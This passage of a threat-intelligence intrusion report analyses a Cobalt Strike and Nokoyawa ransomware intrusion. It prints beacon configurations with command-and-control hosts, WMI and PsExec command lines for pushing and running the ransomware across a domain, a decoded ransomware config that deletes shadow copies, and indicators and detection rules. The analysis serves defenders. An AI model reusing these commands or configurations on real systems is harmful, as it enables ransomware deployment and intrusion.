  "transform_x86": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],
  "startrwx": "false",
  "min_alloc": "5271",
  "userwx": "false",
  "execute": ["CreateThread", "RtlCreateUserThread",
"CreateRemoteThread"],
  "allocator": "VirtualAllocEx"
},
"uses_cookies": "true",
"http_post_chunk": "0",
"ssh": {
  "privatekey": null,
```

```
    "username": null,
    "password": null,
    "port": null,
    "hostname": null
},
"useragent_header": null,
"maxgetsize": "1864478",
"proxy": {
    "behavior": "Use IE settings",
    "password": null,
    "username": null,
    "type": null
},
"tcp_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d",
    "server": {
        "publickey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrr8AvQMH9nOuqc7x6r58gsuNMYuuRdKcM
go3iPMjQgM1u5BNXqKJBnOPlz6j+wbv+L9/BM6+oKDxxXEzsEMHxGaD49lXoKoA5RVtEgh9Cn
VFKN2bcqIZsbc64l+Ty7DXkUI1eHmTo4Lz8vXy4098Q4l18YZOn8+8jnnqU2QV4OWwIDAQABAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
u003d\u003d",
        "port": "8081",
        "hostname": "iconnectgs.com"
    },
    "beacontype": ["HTTP"],
    "kill_date": null,
    "license_id": "0",
    "jitter": "43",
    "sleeptime": "62004",
    "http_get": {
        "server": {
            "output": ["print", "prepend 338 characters", "base64", "base64"]
        },
    },
```

```

"client": {
  "metadata": [],
  "headers": []
},
"verb": "GET",
"uri": "/hr"
},
"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
  "client": {
    "output": [],
    "id": [],
    "headers": []
  },
  "verb": "POST",
  "uri": "/mobile-home"
}
}, {
  "spawnto": "AAAAAAAAAAAAAAAAAAAAAAAAAA\u003d\u003d",
  "pipename": null,
  "dns_beacon": {
    "put_metadata": null,
    "get_TXT": null,
    "get_AAAA": null,
    "get_A": null,
    "beacon": null,
    "maxdns": null,
    "dns_sleep": null,
    "put_output": null,
    "dns_idle": null
  },
  "smb_frame_header":
  "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d",
  "post_ex": {

```

```
    "spawnto_x64": "%windir%\\sysnative\\svchost.exe",
    "spawnto_x86": "%windir%\\syswow64\\svchost.exe"
},
"stage": {
    "cleanup": "true"
},
"process_inject": {
    "stub": "snNvHLupDUIob8Qr+6dPTQ\u003d\u003d",
    "transform_x64": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],
    "transform_x86": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],
    "startrwx": "false",
    "min_alloc": "5271",
    "userwx": "false",
    "execute": ["CreateThread", "RtlCreateUserThread",
"CreateRemoteThread"],
    "allocator": "VirtualAllocEx"
},
"uses_cookies": "true",
"http_post_chunk": "0",
"ssh": {
    "privatekey": null,
    "username": null,
    "password": null,
    "port": null,
    "hostname": null
},
"useragent_header": null,
"maxgetsize": "1864478",
"proxy": {
    "behavior": "Use IE settings",
    "password": null,
    "username": null,
    "type": null
},
"tcp_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d",
  "server": {
    "publickey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrr8AvQMH9nOuqc7x6r58gsuNMYuuRdKcM
go3iPMjQgM1u5BNXqKJBnOP1z6j+wbv+L9/BM6+oKDxxXEzsEMHxGaD49lXoKoA5RVtEgh9Cn
VFKN2bcqIZsbc64l+Ty7DXkUI1eHmTo4Lz8vXy4098Q41l8YZOn8+8jnjU2QV4OWwIDAQABAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d\u003d",
    "port": "8081",
    "hostname": "iconnectgs.com"
  },
  "beacontype": ["HTTP"],
  "kill_date": null,
  "license_id": "0",
  "jitter": "43",
  "sleeptime": "62004",
  "http_get": {
    "server": {
      "output": ["print", "prepend 338 characters", "base64", "base64"]
    },
    "client": {
      "metadata": [],
      "headers": []
    },
    "verb": "GET",
    "uri": "/hr"
  },
  "cfg_caution": "false",
  "host_header": "",
  "crypto_scheme": "0",
  "http_post": {
    "client": {
      "output": [],
      "id": [],
      "headers": []
    },
    "verb": "POST",
```



```
    "uri": "/mobile-home"
  }
}]
```

Domain	IP	Port	JA3	JA3s
N/A	5.8.18.242	443	72a589da586844d7f0818ce684948eea	f176ba63b4d68

```
[{
  "spawnto": "AAAAAAAAAAAAAAAAAAAA\u003d\u003d",
  "pipename": null,
  "dns_beacon": {
    "put_metadata": null,
    "get_TXT": null,
    "get_AAAA": null,
    "get_A": null,
    "beacon": null,
    "maxdns": null,
    "dns_sleep": null,
    "put_output": null,
    "dns_idle": null
  },
  "smb_frame_header":
  "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d",
  "post_ex": {
    "spawnto_x64": "%windir%\sysnative\rundll32.exe",
    "spawnto_x86": "%windir%\syswow64\rundll32.exe"
  },
  "stage": {
    "cleanup": "false"
  },
},
```

```
"process_inject": {
  "stub": "tUr+Aexqde3zXhpE+L05KQ\u003d\u003d",
  "transform_x64": [],
  "transform_x86": [],
  "startrwx": "true",
  "min_alloc": "0",
  "userwx": "true",
  "execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread",
"RtlCreateUserThread"],
  "allocator": "VirtualAllocEx"
},
"uses_cookies": "true",
"http_post_chunk": "0",
"ssh": {
  "privatekey": null,
  "username": null,
  "password": null,
  "port": null,
  "hostname": null
},
"useragent_header": null,
"maxgetsize": "1048576",
"proxy": {
  "behavior": "Use IE settings",
  "password": null,
  "username": null,
  "type": null
},
"tcp_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d",
  "server": {
    "publickey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2
tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWYKF
jhrA7emVRqhM2lQMlo1ANsn14rY/RO2pzuft8P7TXoIjji/B2GGVuzYNZX6X4I2EwIDAQABAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```

    "port": "80",
    "hostname": "5.8.18.242"
  },
  "beacontype": ["HTTP"],
  "kill_date": null,
  "license_id": "305419776",
  "jitter": "0",
  "sleeptime": "60000",
  "http_get": {
    "server": {
      "output": ["print"]
    },
    "client": {
      "metadata": [],
      "headers": []
    },
    "verb": "GET",
    "uri": "/pixel.gif"
  },
  "cfg_caution": "false",
  "host_header": "",
  "crypto_scheme": "0",
  "http_post": {
    "client": {
      "output": [],
      "id": [],
      "headers": []
    },
    "verb": "POST",
    "uri": "/submit.php"
  }
}, {
  "spawnto": "AAAAAAAAAAAAAAAAAAAAAAAAAA\u003d\u003d",
  "pipename": null,
  "dns beacon": {

```

```
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null
},
"smb_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
\u003d",
"post_ex": {
  "spawnto_x64": "%windir%\sysnative\rundll32.exe",
  "spawnto_x86": "%windir%\syswow64\rundll32.exe"
},
"stage": {
  "cleanup": "false"
},
"process_inject": {
  "stub": "tUr+Aexqde3zXhpE+L05KQ\u003d\u003d",
  "transform_x64": [],
  "transform_x86": [],
  "startrwx": "true",
  "min_alloc": "0",
  "userwx": "true",
  "execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread",
"RtlCreateUserThread"],
  "allocator": "VirtualAllocEx"
},
"uses_cookies": "true",
"http_post_chunk": "0",
"ssh": {
  "privatekey": null,
  "username": null,
  "password": null,
```

```
{,
  "beacontype": ["HTTPS"],
  "kill_date": null,
  "license_id": "305419776",
  "jitter": "0",
  "sleeptime": "60000",
  "http_get": {
    "server": {
      "output": ["print"]
    },
    "client": {
      "metadata": [],
```

```
    "headers": [],
  },
  "verb": "GET",
  "uri": "/dot.gif"
},
"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
  "client": {
    "output": [],
    "id": [],
    "headers": []
  },
  "verb": "POST",
  "uri": "/submit.php"
}
}]
```

Exfiltration

During the intrusion, the threat actors targeted password documents on network shares. We observed these being taken and opened off network through the use of canaries. No overt exfiltration was observed so we assess that this occurred over existing command and control channels.

The threat actors opened the document from the IP:

```
45.61.139.126
```

Impact

Threat Actors deployed Nokoyawa ransomware from one of the servers using WMI and PsExec. They first copied the ransomware binary, k.exe, and a batch script p.bat using WMI:

```
wmic /node:"TARGET_HOST_IP" /user:"DOMAIN\USER" /password:"PASSWORD"  
process call create "cmd.exe /c copy  
\\SOURCE_SERVER_IP\c$\windows\temp\p.bat c:\windows\temp\"
```

Command spawned by WmiPrivSE.exe:

```
cmd.exe /c copy \\SOURCE_SERVER_IP\c$\windows\temp\k.exe c:\windows\temp\
```

A snippet of SMB network traffic generated by the above command:

The p.bat is a simple batch script that runs the k.exe binary with a Base64 encoded configuration:

```
c:\windows\temp\k.exe --config REDACTED
```

The redacted parameter used by the `--config` flag decodes to:`

```
{ "EXTENSION": "AWAYOKON", "NOTE_NAME": "AWAYOKON-readme.txt",  
  "NOTE_CONTENT": "REDACTED", "ECC_PUBLIC":  
  "lHrYQm+P3IbmyjTop2FK0qUdwOcSgHuFiT+r77bT4w0=", "SKIP_DIRS": ["windows",  
  "program files", "program files (x86)", "appdata", "programdata", "system  
  volume information", ""], "SKIP_EXTS": [".exe", ".dll", ".ini", ".lnk",  
  ".url", ""], "ENCRYPT_NETWORK": true, "LOAD_HIDDEN_DRIVES": true,  
  "DELETE_SHADOW": true}
```

The decoded configuration file shows the ransomware extension, the note name, and the note content encoded in Base64. The threat actors also configured a number of directories and extensions to skip, and enabled network and hidden drives encryption. The `DELETE_SHADOW` was set to true, in order to delete volume shadow copies.

Based on the configuration parameters being passed via command line and the code written in C++, the deployment appears to be part of the [1.1 version of the Nokoyawa](#) code base:

Ransomware sample code signature:

Debug information shows that the binary was generated a few hours before the encryption:

The ransomware was then deployed at scale using PsExec to encrypt the Windows domain:

```
psexec.exe \\TARGET_HOST_IP -u DOMAIN\USER -p "PASSWORD" -s -d -h -r  
mstdc -accepteula -nobanner c:\windows\temp\p.bat
```

A ransom message was left in each directory where files were encrypted.

After encryption, contact was made with the threat actors using their support site and the price of the ransom was quoted at ~\$200,000 USD in Bitcoin. No ransom was paid as a result of this intrusion.

Timeline



Diamond Model

Indicators

Atomic

Cobalt Strike

50.3.132[.]232:8081 / iconnectgs[.]com

5.8.18[.]242:443

23.29.115[.]152:757 / aicsoftware[.]com

23.29.115[.]152:8080 / aicsoftware[.]com

Powershell Cobalt Strike Downloader

[https://aicsoftware\[.\]com:757/coin](https://aicsoftware[.]com:757/coin)

IcedID Excel Download URL

[https://simipimi\[.\]com](https://simipimi[.]com)

IcedID C2

kicknocisd[.]com

159.65.169[.]200

45.66.248[.]119:443 / guaracheza[.]pics | belliecow[.]wiki

198.244.180.66:443 / curabiebarristie[.]com | stayersa[.]art

BackConnect

137.74.104[.]108:8080

Computed

1.bat

b5db398832461be8d93fdbda120088aa

b36748a27b8e68710701286106ad434c9afea6fa

30a334da51d22b2fe6e33970df8d0f81396394de9d3a3c224751aacb2202b0db

1.dll

9740f2b8aeacc180d32fc79c46333178

c599c32d6674c01d65bff6c7710e94b6d1f36869

d3db55cd5677b176eb837a536b53ed8c5eabbfd68f64b88dd083dc9ce9ffb64e

4_202210250456866742.xls

d3032968085db665381d9cbd3569f330

9230520c6dd215e2152bb2e56b2a5d6b45ae8e13

eb84a283ff58906786d63ffe43a8ff2728584428f5f7d9972c664f63f8790113

7030270

964c94b217d102e53a227bcbcb94ae52e

b846e89d0f56851696d50b5e64c6e758ddae3e6a

091886c95ca946aedee24b7c751b5067c5ac875923caba4d3cc9d961efadb65d

k.exe

40c9dc2897b6b348da88b23deb0d3952

0f5457b123e60636623f585cc2bf2729f13a95d6

7095beaffff5837070a89407c1bf3c6acf8221ed786e0697f6c578d4c3de0efd6

mstdc.exe

7dae150c1df0e01467be3a743775b646

f309b61a8b005b5ce0a3fb58caaa798cfc95f5db

3c19fee379b4882971834a3d38f3f8b86de560114274375560433778cd505748

p.bat

385d21c0438f5b21920aa9eb894740d2

```
5d2c17799dfc6717f89cd5f63951829aed038041  
e351ba5e50743215e8e99b5f260671ca8766886f69d84eabb83e99d55884bc2f
```

Detections

Network

```
ET MALWARE Win32/IcedID Request Cookie  
ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)  
NF - Malware IcedID BackConnect - Wait Command  
NF - Malware IcedID BackConnect - Start VNC command - 11  
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert  
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike  
ET MALWARE Cobalt Strike Malleable C2 Profile (__session__id Cookie)  
ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection  
ET POLICY SMB2 NT Create AndX Request For an Executable File  
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access  
ET POLICY PsExec service created  
ET POLICY SMB Executable File Transfer  
ET POLICY SMB2 NT Create AndX Request For a .bat File  
ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral  
Movement
```

Sigma

[SIGMA Project Repo](#)

New Process Created Via Wmic.EXE id: 526be59f-a573-4eea-b5f7-f0973207634d

Potential Recon Activity Via Nltest.EXE id: 5cc90652-4cbd-4241-aa3b-4b462fa5a248

Created Files by Office Applications id: c7a74c80-ba5a-486e-9974-ab9e682bc5e4

CobaltStrike Named Pipe id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2

Suspicious Group And Account Reconnaissance Activity Using Net.EXE id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0

PowerShell Download and Execution Cradles id: 85b0b087-eddf-4a2b-b033-d771fa2b9775

Meterpreter or Cobalt Strike Getsystem Service Installation – Security id: ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34

Credential Dumping Tools Accessing LSASS Memory id: 32d0d3e2-e58d-4d41-926b-18b520b2b32d

Potential Defense Evasion Via Rename Of Highly Relevant Binaries id: 0ba1da6d-b6ce-4366-828c-18826c9de23e

[DFIR Report Repo](#)

AdFind Discovery id: 50046619-1037-49d7-91aa-54fc92923604

CHCP CodePage Locale Lookup id: dfbdd206-6cf2-4db9-93a6-0b7e14d5f02f

Yara

<https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18190/18190.yar>

MITRE

Access Token Manipulation: Token Impersonation/Theft - T1134.001
Account Discovery: Local Account - T1087.001
Account Discovery: Domain Account - T1087.002
Application Layer Protocol: Web Protocols - T1071.001
Command and Scripting Interpreter: Windows Command Shell - T1059.003
Command-Line Interface: PowerShell - T1059.001
Command-Line Interface: Visual Basic - T1059.005
Data Encrypted for Impact - T1486

Domain Trust Discovery - T1482
File and Directory Discovery - T1083
Indicator Removal on Host: File Deletion - T1070.004
Masquerading: Rename System Utilities - T1036.003
Phishing: Spearphishing Attachment - T1566.001
Process Injection - T1055
Remote Services: RDP - T1021.001
Remote Services: SMB/Windows Admin Shares - T1021.002
Remote System Discovery - T1018
Scheduled Task/Job: Scheduled Task - T1053.005
System Binary Proxy Execution: Rundll32 - T1218.011
System Network Configuration Discovery - T1016
Valid Accounts - T1078
WMI - T1047
Unsecured Credentials: Credentials In Files - T1552.001
User Execution: Malicious File - T1204.002
Remote Services: Windows Remote Management - T1021.006
Exfiltration Over C2 Channel - T1041
Archive Collected Data: Archive via Utility - T1560.001
Ingress Tool Transfer - T1105
Web Service - T1102
OS Credential Dumping: LSASS Memory - T1003.001
Remote Access Software - T1219

AdFind - S0552
IcedID - S0483
ipconfig - S0100
net - S0039
nltest - S0359
ping - S0097
systeminfo - S0096
cmd - S0106
Cobalt Strike - S0154
PsExec - S0029

Internal case #18190

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